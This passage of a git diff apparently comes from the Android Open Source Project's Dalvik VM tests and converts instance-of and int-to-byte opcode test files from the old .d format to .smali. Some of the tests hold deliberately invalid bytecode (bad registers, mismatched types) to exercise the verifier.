-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-       instance-of v0, v5, dot/junit/opcodes/instance_of/TestStubs
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_3.smali
new file mode 100644
index 0000000..b54649d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_3.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/instance_of/d/T_instance_of_3;
+.super Ljava/lang/Object;
+.source "T_instance_of_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 6
+
+    instance-of v0, p0, Ldot/junit/opcodes/instance_of/TestStubs;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_4.d
deleted file mode 100644
index fe8b891..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_instance_of_4.java
-.class public dot.junit.opcodes.instance_of.d.T_instance_of_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)V
-.limit regs 5
-
-       instance-of v0, v4, java/lang/String
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_4.smali
new file mode 100644
index 0000000..9136f40
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_4.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/instance_of/d/T_instance_of_4;
+.super Ljava/lang/Object;
+.source "T_instance_of_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(Ljava/lang/Object;)V
+    .registers 5
+
+    instance-of v0, p1, Ljava/lang/String;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_5.d
deleted file mode 100644
index eac21b9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_instance_of_5.java
-.class public dot.junit.opcodes.instance_of.d.T_instance_of_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)V
-.limit regs 5
-       const v3, 1234
-       instance-of v1, v3, java/lang/String
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_5.smali
new file mode 100644
index 0000000..0985f51
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_5.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/instance_of/d/T_instance_of_5;
+.super Ljava/lang/Object;
+.source "T_instance_of_5.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(Ljava/lang/Object;)V
+    .registers 5
+
+    const p0, 0x4d2
+
+    instance-of v1, p0, Ljava/lang/String;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_6.d
deleted file mode 100644
index 4c2e649..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_instance_of_6.java
-.class public dot.junit.opcodes.instance_of.d.T_instance_of_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)V
-.limit regs 5
-
-       instance-of v0, v5, java/lang/String
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_6.smali
new file mode 100644
index 0000000..28de100
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/instance_of/d/T_instance_of_6;
+.super Ljava/lang/Object;
+.source "T_instance_of_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(Ljava/lang/Object;)V
+    .registers 5
+
+    instance-of v0, p2, Ljava/lang/String;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_7.d
deleted file mode 100644
index f0823e7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_instance_of_7.java
-.class public dot.junit.opcodes.instance_of.d.T_instance_of_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-       instance-of v0, v5, dot/junit/opcodes/instance_of/Test_instance_ofN
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_7.smali
new file mode 100644
index 0000000..bec6153
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_7.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/instance_of/d/T_instance_of_7;
+.super Ljava/lang/Object;
+.source "T_instance_of_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 6
+
+    instance-of v0, p0, Ldot/junit/opcodes/instance_of/Test_instance_ofN;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_8.d
deleted file mode 100644
index 2853ade..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_8.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_instance_of_8.java
-.class public dot.junit.opcodes.instance_of.d.T_instance_of_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)V
-.limit regs 5
-       const-wide v0, 1234
-       check-cast v0, java/lang/String
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_8.smali
new file mode 100644
index 0000000..79b9c9f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_8.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_instance_of_8.java"
+.class  public Ldot/junit/opcodes/instance_of/d/T_instance_of_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)V
+.registers 5
+       const-wide v0, 1234
+       check-cast v0, Ljava/lang/String;
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_1.d
deleted file mode 100644
index bfbd201..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_byte_1.java
-.class public dot.junit.opcodes.int_to_byte.d.T_int_to_byte_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)B
-.limit regs 5
-
-       int-to-byte v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_1.smali
new file mode 100644
index 0000000..fa05450
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_byte_1.java"
+.class  public Ldot/junit/opcodes/int_to_byte/d/T_int_to_byte_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)B
+.registers 5
+
+       int-to-byte v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_2.d
deleted file mode 100644
index 6d18c51..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_byte_2.java
-.class public dot.junit.opcodes.int_to_byte.d.T_int_to_byte_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)B
-.limit regs 5
-
-       const-wide v0, 3.14
-       int-to-byte v2, v0
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_2.smali
new file mode 100644
index 0000000..8d6de7b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_byte_2.java"
+.class  public Ldot/junit/opcodes/int_to_byte/d/T_int_to_byte_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)B
+.registers 5
+
+       const-wide v0, 3.14
+       int-to-byte v2, v0
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_3.d
deleted file mode 100644
index 6136a49..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_byte_3.java
-.class public dot.junit.opcodes.int_to_byte.d.T_int_to_byte_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)B
-.limit regs 5
-
-       const-wide v0, 1234
-       int-to-byte v2, v0
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_3.smali
new file mode 100644
index 0000000..4aa4255
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_byte_3.java"
+.class  public Ldot/junit/opcodes/int_to_byte/d/T_int_to_byte_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)B
+.registers 5
+
+       const-wide v0, 1234
+       int-to-byte v2, v0
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_4.d
deleted file mode 100644
index 5049465..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_byte_4.java
-.class public dot.junit.opcodes.int_to_byte.d.T_int_to_byte_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)B
-.limit regs 5
-
-       int-to-byte v2, v3
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_4.smali
new file mode 100644
index 0000000..d0e8d08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_byte_4.java"
+.class  public Ldot/junit/opcodes/int_to_byte/d/T_int_to_byte_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)B
+.registers 5
+
+       int-to-byte v2, v3
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_5.d
deleted file mode 100644
index 78fa37c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_byte_5.java
-.class public dot.junit.opcodes.int_to_byte.d.T_int_to_byte_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)B
-.limit regs 5
-
-       int-to-byte v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_5.smali
new file mode 100644
index 0000000..ea63818
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_byte_5.java"
+.class  public Ldot/junit/opcodes/int_to_byte/d/T_int_to_byte_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)B
+.registers 5
+
+       int-to-byte v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_6.d
deleted file mode 100644
index 66b3071..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_byte_6.java
-.class public dot.junit.opcodes.int_to_byte.d.T_int_to_byte_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)B
-.limit regs 5
-
-       int-to-byte v0, v5
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_6.smali
new file mode 100644
index 0000000..58d59bf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_byte_6.java"
+.class  public Ldot/junit/opcodes/int_to_byte/d/T_int_to_byte_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)B
+.registers 5
+
+       int-to-byte v0, v5
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_1.d
deleted file mode 100644
index c469970..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_char_1.java
-.class public dot.junit.opcodes.int_to_char.d.T_int_to_char_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
